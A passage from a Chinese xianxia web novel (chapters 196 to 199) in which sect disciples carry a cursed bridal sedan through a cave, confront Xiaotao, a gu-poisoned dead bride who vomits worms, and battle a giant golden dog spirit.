【落花洞女被选中之后,会变得与寻常不同,不再吃平日的食物,身上会散发一种特殊的香味;喜欢独处,更爱贞洁,并且常常自言自语;容貌会更加光彩夺目,面若桃花……直至死亡那一日,依旧是面带微笑,安然离世。】 【亲人们将死去的落花洞女放入轿子中,在洞口烧了嫁妆,再请人将花轿抬入洞中,至此算是完成了嫁洞神;隔日再去寻,只见空轿子不见人……】 第196章 “啊,什么意思啊?”听完故事,曾换月茫然地指了指自己,“那引诱我坐轿子里是什么意思?” 屠芜一摊手:“这我便不清楚了,方才也只是我看到这轿子的联想。” 石映心问:“可为什么这里的蛊毒会让换月出现这样的幻觉?” 屠芜还是无奈地摇摇头。 石映心:“我有个想法……” “不,你没有!”顾梦真几乎是脱口而出,又看向明易,“我看我们别在这山洞里待太久了,赶紧走吧!” 石映心却道:“我就进去坐一会,不耽误多少时间。” 顾梦真和她没法说,又看向明易:“大师兄你快管管映心。” “大师兄,”石映心看向她大师兄,“就一会。” 曾换月还有些后怕呢,往常一向支持师姐的她抱住师姐的胳膊道:“算了吧师姐,要不我们先去石窟,这个轿子等回来再说……” 石映心微微摇头:“你现在中了它的蛊毒,谁知道什么时候再发作,石窟中危险重重……难道不该弄明白情况吗?” 原来是在为她着想吗?曾换月有些感动:“没事的师姐,方才那一次只是我没留意,若有下次,我肯定很快反应过来……对了屠芜,你有没有什么解蛊毒的药啊?” 屠芜看向她,面色凝滞地摇了摇头。 “屠莱?” 屠莱道:“解蛊毒最好是对症下药,否则只怕有余毒。虽然我不知道你中的是什么蛊毒,但可以确定是幻觉蛊的一种,这类蛊毒一般不会致命,而且你已入元婴期,像刚才那样自行脱离幻觉也不是问题……” “对了,我的驱邪蛊也可借你一用。等之后出去了回到药神谷,可以请我师父为你诊断,届时应能药到病除。就算不行,能触发蛊毒的也只是这山洞中的阴邪,等你离开之后它们便没有机会了,到时蛊虫失去滋养,也会自行死亡。” 他说来说去的意思就是现在没条件帮她完全将蛊毒清干净,要她自己小心;但离开了罗宝山就问题不大了。 “对啊对啊,等出去后就有办法了,”顾梦真道,“问题是如果映心你一坐进去也着了道怎么办?” “问题不是这个。”石映心说,“我只是想我们在这走了这么久,依旧没找到出口,你们不觉得奇怪吗?” 她这话一问,大伙都静了静。 在场六人,先前谁都没去过石窟,自然也不知道这山洞到底要走多久;这里头环境幽黑,走了许久又像没走多久,没走多远仿佛又走了许久,实在是叫人压抑。 “你的意思是……”屠莱一挑眉,“我们要走出去,就得上这轿子?” 石映心露出智慧的眼神:“我是这么想的。” 没话说,她这推测真是有些可能啊。 大伙又是沉默。就在石映心伸出手去要掀开轿帘的时候,有人抓住了她的手腕,是屠芜:“是我将你们带来此处,要进去也是我进。” 石映心实在道:“可你没我厉害。” 屠芜:…… 是的,先不说剑修比较凶残,她们二人早在去年的摘花大会上就交过手,确实是石映心更胜一筹。而且若是真的遇到什么阴邪鬼怪的,身为药丹修的屠芜怎么往对方嘴里塞毒药也是一个难题。 石映心就比较简单了,拔剑就好。 “要不这样吧,”二人僵持之间,明易提议道,“我们先带着这轿子再走一段路,实在找不到出口的话……再进去一个人试试。” 这是一个好主意,比停顿在这里干纠结好。 他们是仙人,也用不着亲自上手抬轿子,施加点法术就能控制轿子在前头飞了。只是看这黑暗中飘荡的大红轿子,真是有些说不上来的诡异。 就这么又走了两刻钟左右,还是没找到出口,问题是连风都没有,像是出口和入口都被封住了。 曾换月深呼一口气,又叹出去:“那个……你们有没有觉得有点喘不过气啊?” 石映心:“有点。” “完了,我们真被困在里头了。”顾梦真瞥了眼边上安安静静的轿子,“我看是要上轿子了。” 屠芜还是说:“我上吧。” 明易却道:“没说只有女子能上,我来试试。” 曾换月这会还笑得出来:“大师兄你在开玩笑吗?这明显请女人坐的轿子;而且屠芜说了,那是落花洞女,不是落花洞男。” “噗嗤。”屠莱突然笑出一声,瞅着明易道,“我看你们大师兄略作一番打扮,装个女人也瞧不出来。” 明易:个_个? 他下意识是想拒绝,但又和映心好奇的眼神对视上,心想若他不上,那映心便要上……不如他上吧。 “好。” “啊?”屠莱一愣,“我随口一说的。” 明易朝他颔首:“是个好主意。” “大师兄,”石映心关怀道,“若是被这阴邪发现你骗它,它恼羞成怒怎么办?” 明易对她笑了笑:“到时要麻烦你…们救我了。” 石映心也回以靠谱的微笑:“你放心吧大师兄,就是要把这山洞劈开,我也会救你的。” 屠莱半开玩笑道:“喂喂,不用这么夸张吧,到时候我们往哪逃啊?” 对于大师兄要男扮女装坐轿子一事,二师兄和小师妹是一点也不操心的,甚至还抿着唇憋笑,两脸期待的模样。 明易无视二人不怀好意的视线,灵光一闪变成了女人模样。曾换月和顾梦真下一刻就凑了过来,举着辟邪灯在他脸上照,非常大惊小怪。 曾换月大惊:“哇塞,我早就知道大师兄你长得好看,但男人果然是没有女人好看,你变成女人真的更好看了!” 顾梦真小怪:“啧啧啧,果然啊,你小时候常常被人认作是女娃娃不是没有道理的!” 石映心第一次听说:“喔,还有这样的事啊。” 顾梦真:“那是我俩很小的时候了,你都还没被师父捡回来呢……” “好了。”明易把二人推开,转身就要上轿子,却又被哪只坏手扯了回来。 他想正色让她们不要胡闹,就听小师妹嘻嘻哈哈的声音:“来来来,机会难得,我们用留影珠留念一下,回去叫师父看看!” 于是明易的边上就凑过来了三个人。留影珠漂浮在空中发着灵光,乌黑麻漆的可怖山洞之中,光照亮了这边师兄妹四人三张笑容一张无语的脸,还有另一边屠家兄妹震撼的沉默。 屠莱:“这些人真的……” 屠芜:“……靠谱吗?” 还能咋地,现在大家都是一条船上的蚂蚱。 明易在几人的注视下坐上了轿子,他看了看师妹黑暗中发亮的双眸,朝她微微颔首后就将轿帘放了下来,端坐在轿内的座位上。 先是一片沉默,大家都在等着将要发生什么。 但等了一会,轿内轿外都毫无动静。 屠芜叫了声:“石道友,你在里头如何?” 隔着单薄轿子传来的声音不知为何有些遥远:“没有异样。” 外头的人面面相觑,都有些疑惑。石映心看看轿子,又看看边上空荡的轿杆,忽然福至心灵:“有坐轿子的人,也应有抬轿子的人,这样才能上路。” 至于是上哪条路,就不必说得太明白了。 大家觉得她说得有道理,可以一试。但问题是现在外头有五个人,有一人抬不了轿子,石映心便自荐说她跟在后边走。 “不如你走在前边吧。”屠芜琢磨了一会,“按照传闻和我们螺族婚嫁的习俗,如果是落花洞女出嫁的话……应有个媒婆在前边引路的。” “媒婆?”石映心指了指自己,“我吗?我不会做媒婆。” 屠芜看她发懵的表情,觉得有些好笑:“不是真的媒婆,只是如果在此情此景中多一个身份的话,自然是走在轿子的媒婆最合适;要是你不愿意,我来走前边也行。” 石映心便说她愿意的。 “映心,”轿子里传来大师兄的声音,“万事小心。” “我会小心的。”石映心朝轿子点了点头。 嘎吱—— 随着花轿被抬起,破旧的木头之间发出兴奋的欢呼声,仿佛在庆幸自己竟还有重操旧业的一日。四人都是第一次抬轿子,好在也不是真的用力气抬,在手上搭点法术,就能抬得轻松又稳当。 只是抬了轿子就拿不了辟邪灯,于是四人只好再用法术将辟邪灯漂浮在前方照明,这下倒是有些诡异了。 石映心瞅了眼朝她俏皮眨眼的小师妹,还有安安静静的轿帘,细微的火光之下,大红轿子加上瞧不清模样的四人,很有阴森的氛围;好在她胆子大,点点头朝几人示意后,默不作声地转身往前走去。 前路黑蒙蒙。 她走着走着,专注地观察着四周,但只是大同小异的石壁;看着看着便分不出区别,渐渐感到无聊,无聊久了便有些困顿,心想还好她没在轿子上坐着,要不然可能要睡去…… …… 不对劲。 哗啦—— 石映心猛然睁眼,脑袋顺势低下,看见自己的鞋已经不知不觉踩入了水面之中,再往前看去,接下来是一片水路,不知深浅。 她扭过头去,看见昏昏欲睡地抬着轿子的四人,面色皆恍然。见她停住了脚步,也只是麻木地跟着停了下来,并没反应。 好在这时候轿子里传出大师兄的声音:“怎么了?” “大师兄,”石映心小心而轻声道,“她们着道了,不过也许只是有些犯困和迷糊,接下来该如何是好?” 明易似有些叹气:“我先出来……” “不必,哈……”这一声是屠莱的,他回过神来,先是打了个哈欠,真是困了,“石映心,用你的剑往她们三人的手指上划一道口子,要保证溢出一滴指尖血。” 第197章 帝血剑出鞘:“知道了。” “啊!” “啊!” “嘶……” 帝血剑入鞘:“清醒了?” “醒了醒了!”曾换月抱着自己的手指,自己可怜自己,“哎呦这小伤口可真疼啊!” 顾梦真泪花都冒出来了:“疼得是伤吗?是帝血剑的剑气!” “这样效果更好。”屠莱语气冰冷,“能让脑子更清醒点。至于这伤口就留着别让它愈合了,一感到犯困就自己挤一滴血出来,明白吗?” 二人无精打采地应了声好。 屠芜看了看自己手上的伤口,似乎若有所思,这会又听她哥说:“小芜,你也没反应过来?” “没……”屠芜先是微微摇头,又蹙眉道,“不过我倒是有一个猜想。” 石映心:“什么?” “太专注了。”屠芜说,“我们方才都太专注了……包括换月第一次着道的时候,也是很专注地观察着山洞内的景况。方才我们几人是不是都在仔细看路、担心哪里蹿出来什么危险……但也许正是这种与山洞集中精神的关注连接,才让我们不知不觉地陷入了它的诡计,而且我的灵蛇没遇到危险。” “啊!”曾换月听她的描述,立刻想起了那句有名的话,“当你凝视深渊时,深渊也在凝视你!” 屠芜感动地看向知音:“我是这个意思。” “很有可能。”轿子内的明易也说话了,“方才我便没有 多少感觉。” “那好办啊。”顾梦真一拍手,“只要我们不那么紧张,随便说些话聊聊天不就行了?” 大伙说好啊好啊。 “但是,”石映心不得不插句嘴,朝边上示意道,“接下来便是水路了。我们要走入水里吗?” “没事。”屠芜把手一伸,摊开手掌心,“我有避水丹。” 大伙瞪大眼睛,看着那塞得她掌心满满当当的六个黑丸子,一时抿紧了嘴巴。 屠芜瞅几人的神色,轻哼一声,一个个地把黑丸子分过去:“快点吃吧,不要客气!” 顾梦真本来还想说“我吃我自己的避水丹就好”,但他一张嘴,那大黑丸子就“咻”地被扔到了他嘴巴里,霸道地滚入喉咙,好费劲才给它咽下去。 只有屠莱逃过一劫:“婉拒了,我自己有。” 屠芜:“哦。” 服下避水丹后,便能入水了;依旧由石映心在前方开路。 曾换月借法术的力轻松地抬着轿子跟在师姐身后,一步一步地踩入水中,一点一点地听着水声由轻快的波动转变为阻碍前行的威胁低吟,哪怕想听屠芜的话不要那么集中注意力,但心止不住地沉了下来。 这样步步浸入水中,真像她在电视剧中看过的自杀啊……不过此情此景是恐怖大于悲剧浪漫哈,她可不想死。 于是抬起眼来看向前方的师姐,此时师姐的大半个身子已经浸入水中,长马尾的发尾飘在水面上,水贪婪地侵蚀了她还未入水的衣衫,原本飘逸的门服显得有些紧张。 她想到方才幻境中那几只好像不会回头的鬼魂,立刻叫了一声:“师姐!” 石映心停下脚步,回头望她:“怎么了?” 是活人师姐。曾换月松了一口气:“没……哦,我说你要小心啊。” 石映心的声音很稳妥:“放心,不会有事的。” “干嘛,你害怕啦?”顾梦真贱嗖嗖道,“要不要停下来等你做好心理准备?哈哈哈!” 曾换月翻了个白眼:“不!用!快走吧!” 那就继续走,没过一会儿,六个人连带着轿子都走进了水里;山洞中恢复了无声息,死寂的水面毫无波澜。 石映心的视线慢慢清明起来,她发现自己正走在山路上,晚霞被山顶托住,天色是黄昏时的昏暗,人影重而浑浊,前方是一个山洞,有一条小溪从幽深的山洞中流出,溪流边坐着一个背对着她们的女子。 石映心回头和伙伴们对了个眼神,此情此景,几人都心知肚明这是进入了山洞中的结界。 她们先将轿子放了下来,明易掀开轿帘走出,仰头望天,哪里还有水的影子。 “坐在山洞前的女人……”曾换月朝那边使了个眼色,小声道,“难道她就是落花洞女?” 屠莱瞅了眼那个女人的背影:“看起来是了。” “正好,早就想见识一下这古怪传说的真面目了。”屠芜抬了抬眉,压低的声音中藏不住兴奋,“走吧,我们去看看传说中的落花洞女究竟是怎么回事。” 众人无异议,反正目前也没有其他线索。 屠芜并不害怕,甚至有些迫不及待地走在最前头。可这些纷乱的脚步声也没让那女子回过头来,屠芜只好站定在她身后几步,主动出声打招呼:“姑娘?打扰了。” 这位姑娘因此转过头来,是一张脸色艳丽的桃花面,将原本清纯稚嫩的容貌衬出一种异样的风情,像是…… 曾换月想到了,像是她之前在网上看那些恋童癖给懵懂无知的小孩化成大人的性感装扮,十分违和。 屠芜明显一愣,张了张嘴,有一会才说:“姑娘……怎么称呼?” “小桃。” 小桃说完话,又低下头来,一手抚摸着自己肩膀上长长的麻花辫,一边微微晃着头,脸上带着一抹微笑;因其面若桃花,笑容便显得很甜蜜。 “我去……”顾梦真嘀嘀咕咕道,“这小桃姑娘是喝醉了吗?” 曾换月微微摇头:“我看是中邪了!” “是中蛊毒了。” 唯二专业人士屠莱扔下这一句,走上前去就要去捉小桃的手腕,但还没碰到她就被她猛地躲开,听她尖锐道:“你要做什么!?” 屠莱:“给你治病。” 小桃:“你才有病!” 屠莱:…… “小桃姑娘,方才我哥哥似有些冒昧,不过他并不是想伤害你。”屠芜好声好气道,“我们是见你……面色有异样的泛红,怕你是染了风寒或是得了什么病,正巧我和我哥会一些医术……” “你胡说!”小桃退后两步,警惕地看着几人,“我是得了洞神庇护的新娘,不日便要嫁给洞神,怎么会得病?” 石映心道:“可你的脸红得不正常。” “你懂什么,他们说了,这是少女怀春,不施粉黛也好看。” 曾换月挠挠脸,有些无语道:“第一次听有人自己这么说自己的哈……我看和中邪也没差了。” 石映心又问:“他们是谁?” 小桃有些奇怪她怎么问这个,但还是答道:“他们是我的族人。” 明易:“你是螺族人?” “是……” “太巧了,”石映心指着屠家兄妹道,“这两位也是螺族人,她们说你有病,你现在信了吗?” 小桃:OO 她显然脑袋也变得不灵光了,听信一个没逻辑的理由,又被这石映心这将计就计的没逻辑借口给弄恍惚了神,整个人迷迷糊糊起来,嘴里嘟囔着:“是吗?她们也是螺族人……怎么会这样……” 屠芜趁此机会捉住了她的手腕,探入灵识探查,很快皱起了眉头,朝几人沉重地点了点头:“是中了蛊毒不错,不过……是我没见过的蛊毒。” “我试试。”屠莱接过她手中的小桃的手腕,探查一番后微耸肩膀道,“嗯,没救了。” 五人:…… 太恶毒了这位医师。 见几人无语的神色,屠莱居然还笑得出来:“我是说,对凡人蛊师和普通药丹修来说是没救的,但我可是蛊修,还能死马当活马医试试。” “越说越不好听了。”屠芜瞥了眼恍恍惚惚的小桃,问她哥道,“能救吗?” “一半概率吧,反正不救也是死,我是没什么心理负担的。”屠莱说着,手上变出了一个青铜盒子,看容器就知道里边的蛊虫价值不菲,“这是万能解毒蛊,只要下毒者的修为没我厉害就能解毒;用在这里有些大材小用了,她中的只是蛊师的蛊毒。” 屠芜却道:“我虽然不是蛊修,但普通蛊师的蛊毒我也会解。” “你也不想想落花洞女是什么时候的事?”屠莱拍拍妹妹的肩膀,“我想小桃身上的蛊毒应是来自娘所说的……螺族炼制不死之药那几十年间,所以后来失传了。如此,只能靠我这蛊修的蛊术一试。” “怎么说我也是药神谷的药丹修,”屠芜垂下眼帘,看着她哥手中的盒子,“就算是几百年前的蛊毒,那也只是凡人……” “对你来说解毒只是时间的问题,我们现在没有那么多时间。”屠莱一边安慰妹妹,一边将手中的盒子打开,取出一只红色的小虫来;只见他手腕一甩,那抹红就飞到了小桃的眉心,一眨眼便钻入其中消失不见。 几人盯着小桃的反应,屏息等待。 她先是双目失神了一瞬,紧接着猛地抱住了脑袋,呻吟着开始喊疼:“啊!好疼!好疼啊!救我、救我——” 众人都没反应过来时她就已经疼得跌倒在了地上,挣扎着打滚,屠芜想去扶她,却被屠莱拉住:“担心她伤人。” 非专业人士·顾梦真在边上有些茫然的焦急:“怎么回事啊屠莱,这是正常的反应吗?” 屠莱的眉头不知何时已经皱起,他盯着小桃没回头道:“像她反应这么大的很少见。” 非专业人士·曾换月看着小桃在地上打滚,听她的吃疼的叫声觉得自己的脑袋也要开始疼了,有些感同身受的于心不忍:“喂,她会不会疼死啊?” 屠莱的面色淡淡,声音冷酷:“不疼也要死。” 那这真是没办法了哈。 第198章 对有良心的人来说,旁观别人的痛苦也是一种折磨。在小桃惨痛的哀嚎声中,几人都有些不愿直视的难受,只有石映心的手上握住了帝血剑。 明易的余光注意到她,传密音:“映心?” 石映心很冷静道:“有奇怪的东西要出来了。” “什么?” 她话音刚落,小桃就开始发出呕吐的动静,只见她跪坐在地上,整个身子抽搐般地耸起落下,张着嘴巴不断地发出“呕呕呕”的声音,但除了一些唾液之外,什么也没吐出来,而她的表情也越发苍白痛苦,仿佛有什么堵在她的喉咙,死死扒拉着不肯出来。 屠莱给妹妹使了个眼色,后者意会,走上前去半蹲在小桃身后,一手掰住她的肩膀,一手泛起灵光,一巴掌拍了上去—— “呕——” 一团黑乎乎的东西从小桃的口中喷泄而出,小桃仿佛要把五脏六腑给吐出来;而那些黑乎乎的、还在蠕动的东西,正是无数密密麻麻的虫蛇,竟是活生生的。 “我去!”曾换月发出一声惨叫,连连后退几步,“什 么鬼东西!” 屠芜扶着呕吐中的小桃的肩膀,大声喊道:“快把这些虫子烧了!” 顾梦真变出两个火桶扔过去,盖住了一些要逃离的虫子,地上的草地趁机燃起一片火苗。 石映心则拿着帝血剑在边上刺漏网之虫。 “奇怪,”屠莱似有些意外,“我的万能解毒蛊明明……” “屠莱道友,”明易提醒他,“她本就不是活人,这里是山洞内的结界。你先前探查她体内的蛊毒,也许只是她死前的症状。” 屠莱恍然,一下就看开了:“说的也是,那她确实没救了。她体内的五脏六腑和血液早就变成了这些虫蛇的饲料,等虫子吐完了,她便什么都不剩了。” 说罢冷哼一声:“真是恶毒的蛊虫,如果她早点遇到我……” 没有如果。 但谁知道小桃吐着吐着,忽然用手捂住了嘴,生生将源源不断跳出来的虫子又堵了回去。 曾换月恶心地大叫起来:“喂,你干什么!?” “我不能死!”小桃明明捂着嘴巴,但却有声音发出来,“我不能死!” 屠芜还扶着她肩膀呢,望着她通红的双眼问:“小桃,你究竟想做什么?” 小桃一边咽虫子一边哭着说:“我还没等到他!” 屠芜连忙问:“你说的他是谁?” 小桃的瞳孔渐渐涣散,她捂着嘴巴的手边不断地掉出虫蛇:“ou……神……” “洞神?” “是狗神。”石映心蹲在小桃面前,捏着她的下巴让她看向自己,“好好想一遍你要说的话。” “洞……”小桃迷蒙地看着她,捂着嘴巴的手松懈而下,此时已经没有多少虫蛇从她嘴里冒出来了,她艰难又努力地抬起手,最后朝边上的山洞指了指,眸光散开,“送……我……一程……” 地上闪过一片寒光,密密麻麻的虫蛇和燃烧的火苗都被冻成一片。 明易收起寒竹剑,将师妹扶起来,检查她身上有没有逃窜的虫子。 “啊……”这一切发生得太突然,曾换月还没反应过来,“这人怎么就……死了啊?屠莱,到底怎么回事?” “她本来就是死人,”屠莱解释道,“虽然方才我探到的是活人的经脉,大概是被结界影响了。” 曾换月:“你把她害死了?” 屠莱:“你选择性只听半句话是吗?” 曾换月:“不是啊,重点是她方才就算是死了但还能和我们说话,现在是死透透了。” 屠莱摊手:“若我不救她,她会一直那样神志不清,方才至少还说了两句清醒的话。” 那倒也是。 屠芜把小桃的双目合上,用法术将她七窍里溢出的黑血澄净,再小心地放到了地上:“接下来我们怎么办?不知道从这里出去的办法,还有刚刚小桃说的……狗神?那是什么?” “你也不知道吗?”顾梦真问,“你们螺族不是很喜欢狗?指不定是你们族人侍奉的狗神呢?” 屠芜微微摇头,看向哥哥;屠莱若有所思道:“我是隐约有些印象,不过只是听过‘狗神’这个称呼罢了。” “将小桃扶上轿子,我们送她进山洞。”石映心忽然提议道,“她死前不是说叫我们送她一程?” “可是……”屠芜的话卡到一半,奇怪地看着已经行动起来的归壹派四人,好像完全不需要商量了,她不得不道,“我们真要抬小桃的尸体又进这山洞吗,如果里面有什么危险……” 屠莱看着她们搬尸体,挑眉道:“落花洞女嫁给洞神就是要送进洞中,若是这只是她中蛊毒后愚昧的执念怎么办?” “哎呀现在也没有更好的办法了,”顾梦真挥挥手道,“反正我师妹都这么说了,那就试试呗。” 明易则是道:“两位道友,我想我们进到这结界中是要抬着花轿进来,也许出去也要抬着花轿出去;既然这里有现成的坐轿新娘,何妨一试?” 这才是能让人接受的理由嘛,屠家兄妹很快被说服。 只坐了一具空壳尸体的花轿非常轻盈,可惜死人不会像明易一般自己调整坐姿、稳定身形,没走几步就被四个不专业的抬轿人晃得哐当摔倒。石映心掀开轿帘,用法术将其固定住,这才能继续前行。 “这山洞不就是我们在外头进的那个吗?”曾换月打量着洞内,“也就是说,从这个山洞里出去就是几百年前的罗宝山石窟?” 几百年前的山洞依旧阴森,顾梦真咽了下口水:“能出去再说吧。” 走了没几步,屠芜忽然道:“前方有毒雾,我的灵蛇被迷晕了。” 曾换月:“啊?” 明易:“屏气。” 曾换月:“哦。” 六人屏气后继续走。石映心眼神好,瞅见地上有什么,弯腰捡起来后,把那条晕厥的小黑蛇还给了屠芜,传密音道:“我们已在毒雾中?” “多谢你。”屠芜收下小黑蛇,解释道,“是,这毒雾无色无味,不过不致死,只是会让人晕过去。” 石映心:“还有一条蛇没看到。” 屠芜:“它在水里,躲过一劫。” “你们看,”曾换月在大伙脑子里叫了一声,“水里那个亮晶晶的是什么?” 众人闻言往边上的溪流看去,见一条小黑蛇用尾巴卷着一个金色的物件游到了水面上,扬起脑袋晃啊晃的和它主人示意。 顾梦真卖过类似的东西:“好像是女子的头饰?” 屠芜用法术拿来看了看:“我有些印象,应该是螺族女子婚嫁时的头饰。也许是哪一位落花洞女落下的。” “既然这样,”石映心说,“就给小桃戴上吧。” 这其实是一个莫名其妙的贴心提议,不过她们拿着这玩意也没用,既然石映心都这么说了……那就给小桃戴上呗? “……好。”屠芜顺从了这个突兀的建议,把手上的金饰递给石映心的时候,余光瞥见她另一只手上拿着的帝血剑。 奇怪,一般见她是收起来的? 石映心掀开轿帘,看了看小桃因为死前挣扎而弄乱的发髻,又看了看自己手中像簪子又不完全像的金饰,压根不知道要怎么戴;好在对方是个死人,就算戴错了也不会如何,那就随便插进去吧。 这么想着,她随便往小桃头上一插,插下来一大缕碎发,耷拉在小桃青白的脸上,实在很突兀;石映心有些手足无措地把那缕碎发撩起来,小心地别在了小桃的耳后,微微松了一口气后,转眼和一双灰白的眼珠子对上了视线。 石映心:OO 小桃:个_个 这是生气了吗?石映心想,就为了这点小事?不过话说回来,她还没照过这种又死又像活的“活死人”的眼睛…… ……可惜现在是没机会了。 “砰”的一声,本就嘎吱作响的花轿猛地炸裂开来,吓得外头还在闲谈的几人大惊失色。反应快的如明易连忙提着小师妹飞退一段距离避开危险,反应慢的如顾梦真就被掀飞到边上的溪流里,一下喝饱,反应不快不慢的如屠家兄妹,也能躲过一遭。 空间本就不富裕的山洞中瞬间飞沙走石,碎石尘沙漫天飞扬,阻碍了众人的视线。 明易将曾换月放下来,冲进眼前的烟尘之中:“映心!” 有一道白影剑光已经和一身红衣的小桃打起来了,听到大师兄的叫声,石映心还分心喊道:“她真的诈尸了。” “咳咳……”屠芜挥开面前的沙土,朝那白衣剑修大喊道,“你早知道小桃戴上金饰会诈尸!” 石映心进洞前照了“将死”的小桃,可是她传来的信息很模糊,只是一些关键词罢了,比如“坐轿子”“进洞”“金饰”等等,因此她也只是半蒙半猜地这么做了,谁知道反应这么大呢? 算了算了,事已至此还解释什么呢,诈尸了就再杀她一次便是了。 小桃的招式有些恶心,她使劲张开五官时便会有一团黑气从她的七窍里飞出来,组成黑气的自然是数不清的虫蛇, 这也算肉身和精神上的双重攻击了。 不过除此之外似乎也没什么,石映心的剑招完全应付得来;再加上大师兄的支援,小桃吐出的虫蛇黑气压根不够两个剑修打的。 小桃本身也意识到了这一点,很快放弃了攻势,吐出一大片黑雾阻碍了几人的视线之后,转身朝洞内跑去。 剑气烧开黑雾,石映心和大师兄对视一眼,默契地往里头追去。 第199章 躲在水里躲避战局顾梦真哗啦啦地从水里爬出来,瞅了眼满是虫蛇死尸的水面,恶心地打了个寒颤,连忙上岸用澄净诀把自己弄干净,转眼一看屠家兄妹和小师妹纷纷跟着石映心和明易往洞深处跑,焦急地喊了一声:“别丢下我啊!” 追着小桃深入洞中,可前方很快就出现了山洞的尽头;小桃显然没想到会遇到死路,停在石壁前满脸茫然。 石映心不紧不慢地停下来:“你要去哪?” 明易问:“小桃,你引我们来此处究竟是想做什么?” 小桃回头望了二人一眼,转过头去,一言不发地就开始砸墙;山洞里发出轰轰的可怖声响,顶上不断地掉落下碎石。 曾换月险些被石头砸到,无语地叫了声“老天奶”,连忙跑到师姐边上:“她要干嘛啊!” 石映心盯着小桃:“不知道她要找什么。” 她们原以为那石壁很厚,谁知小桃没砸两下,石壁上就出现了一道裂痕;小桃仿若瞧见了希望,灰蒙蒙的双眼猛地瞪大了,又用法力使劲一捶——裂痕碎开,里头竟迸发出一道金光,猛地将她弹飞。 随着小桃惨叫声一同响起的还有一声非人的怒吼,金光跃入空中变成了一头凶猛的野兽,有成年狮子两倍那么巨大,但瞅它的模样,分明是条土狗,只不过更凶猛狰狞罢了。 小桃被金光打落到地上,整个人开始抽搐,在众目睽睽之下,双腿变成了蛇尾,在这期间她一直发出痛苦的惨叫,不过几瞬,整个人化成了一条一人长的黑蛇。 曾换月见这大变活蛇的场景,刹那间共情了许仙的震撼:“我的老天奶!!” 顾梦真抱头大惊:“这是要搞什么啊!?” 那金光变出的巨狗见这条大长蛇,双眼迸发出饥饿的凶光,“嗷呜”一声猛地朝小桃蛇扑去—— 铮! 帝血剑兴奋出鞘,快准狠地刺入巨狗张开的深渊巨口之中,贯穿了它整个脑壳。巨狗发出震洞怒吼,脑袋一甩将帝血剑横甩出脑袋,可它没死,气愤地朝石映心扑去,大战一触即发。 “什么情况?”屠莱问曾换月,“石映心究竟在帮谁?” 曾换月忙着看战况呢:“师姐在打狗,自然是在帮小桃啊!” 屠芜若有所思道:“难道这就是小桃说的狗神?可神不是好的吗?为什么她要帮小桃?” 曾换月其实也没搞清楚状况,但是:“哎呀别管了,反正就看我师姐的吧!” 石映心这时抽空吩咐她们:“快去将石壁破开!” 明易本是要帮她,闻言转头就去破石壁,没想到这石壁不只是阻拦小桃,连他这样的名门正派都要阻拦。寒竹剑发出的震鸣让剑修眉心一皱,转头朝要靠近的曾换月等人道:“躲远点。” 他师弟师妹很眼色,立刻拉着屠家兄妹撤退得远远的。 剑修明易使用剑招“吹雪凝霜”,寒竹剑的剑气席卷整面石壁,瞬间将其冻结成冰,冰霜下的金光发出微弱的哀鸣;明易瞄准那发光的突破口,汇聚法力,出剑一击—— 噼里啪啦的冰块夹杂着石块掉落,石洞发出震天动地的哀嚎;与此同时,发现巨狗致命弱点的石映心用帝血剑切断了巨狗的尾巴,狗叫声在石洞的震荡中消失殆尽。 石映心收回剑,瞥了眼附着在剑身上的金光,眉目微皱着似有些疑惑,但不等她再想,就听身后传来了小师妹的尖叫:“大师兄,你这是拆了石洞的承重墙啊!!” 她回头一看,原本厚实的石壁已经被她大师兄击碎了,落在地上一堆碎石,后边的山洞路总算显现,只是这石洞也在摇摇欲坠,仿佛整座山将要坍塌。 她大师兄正巧也朝她看来,目光似有些无奈:“我也没想到。” 屠芜连忙道:“糟了,我们要快点离开这里!” “别急嘛别急嘛,我有办法!”二师兄挺身而出道,“给你们见识一下我的新宝器,当当当当——‘顶天立地大木人’” 这“顶天立地大木人”和“呆头呆脑小木人”长得非常像。顾梦真将他放到石壁的废墟上,法术一变,就见原本只有巴掌大小的“顶天立地大木人”慢慢变大,最后变到了整个身体呈现“大”字正好用双手定住洞顶的模样。 神奇的事情发生了,原本摇摇欲坠的石洞竟慢慢安分下来,停止了喧嚣,仿佛找到了新的承重墙。“顶天立地大木人”也由木头身变成了石头身,几乎与石洞融为一体,非常低调和可靠。 其余几人感到惊叹,纷纷鼓起掌来。 顾梦真得意地抬起下巴,接受夸奖。 暂时解决了石洞坍塌的问题,石映心走到变成蛇的小桃面前,这会她是半死不活但勉强还活着。石映心将她变小,放在手掌心戳了戳,对走来的屠芜道:“和你的小黑蛇很像。” “完全是不一样的品种。”屠芜无情地揭露了她不专业的识蛇眼光,“能给我看看吗?” “哦,给你。” 屠芜小心接过小桃蛇,和她哥一起观察研究了一会,断定道:“这不是普通的蛇,是一条蛊蛇。” 石映心:“蛊蛇?” 屠芜对外行人说:“就是和蛊虫差不多的东西。” 曾换月奇怪道:“可它是小桃变成的呀!” “传闻中吃人的尸骨长大的蛊蛇,能够承载死人的三魂六魄,”屠芜顿了顿,换一种方式解释道,“用通俗的话说就是成精了。” “啊?”顾梦真觉得这有些难以想象,“那……那些吃尸骨长大的虫子呢?” 屠莱摇头道:“蛇是特殊的,只有蛊蛇有这样承载三魂六魄的能力,其他蛊虫没有。” “为什么只有蛇有,”他瞥了眼石映心张开的嘴巴,先一步解释道,“这我们也不清楚。” 石映心:“哦。” “不过……”屠芜看了眼手心上的小桃蛇,语气未沉,“蛊虫要成精需要吃很多很多的尸骨,小桃也许是最后一具,因此得她真身化形。” “你的意思,”明易朝石壁后的山洞看了眼,“这里面……别有洞天?” 屠芜没说话,是石映心道:“进去看看就知道了。” 只能进去了。 一边往里头走,曾换月一边问她师姐:“师姐,方才究竟是怎么回事啊,怎么小桃突然就诈尸了?那只金光化出的巨狗又是怎么回事?” 这也是大伙想问的。被众多目光盯着的石映心不紧不慢道:“我将金饰戴在小桃头上她就‘活’了,我想那金饰应承载着一些屠芜所说的‘三魂六魄’,里头并非只是小桃。” 这当然是她照出来的。 “小桃与我打架,算是一种试探,若是我们打不过,自然进不去石壁;后来她发现自己打不过我们,便决定引我们入石壁中;至于那巨狗……我不知道啊,只是它一言不合就上来咬蛇,我要知道小桃想做什么,怎么能就这么叫它咬死了?” 真是我行我素的判断方式。 没走多久,几人就见前方多出一条岔路,这走了半天的直行路也没找到出口,此时何须犹豫,当然要另谋他路一试了。 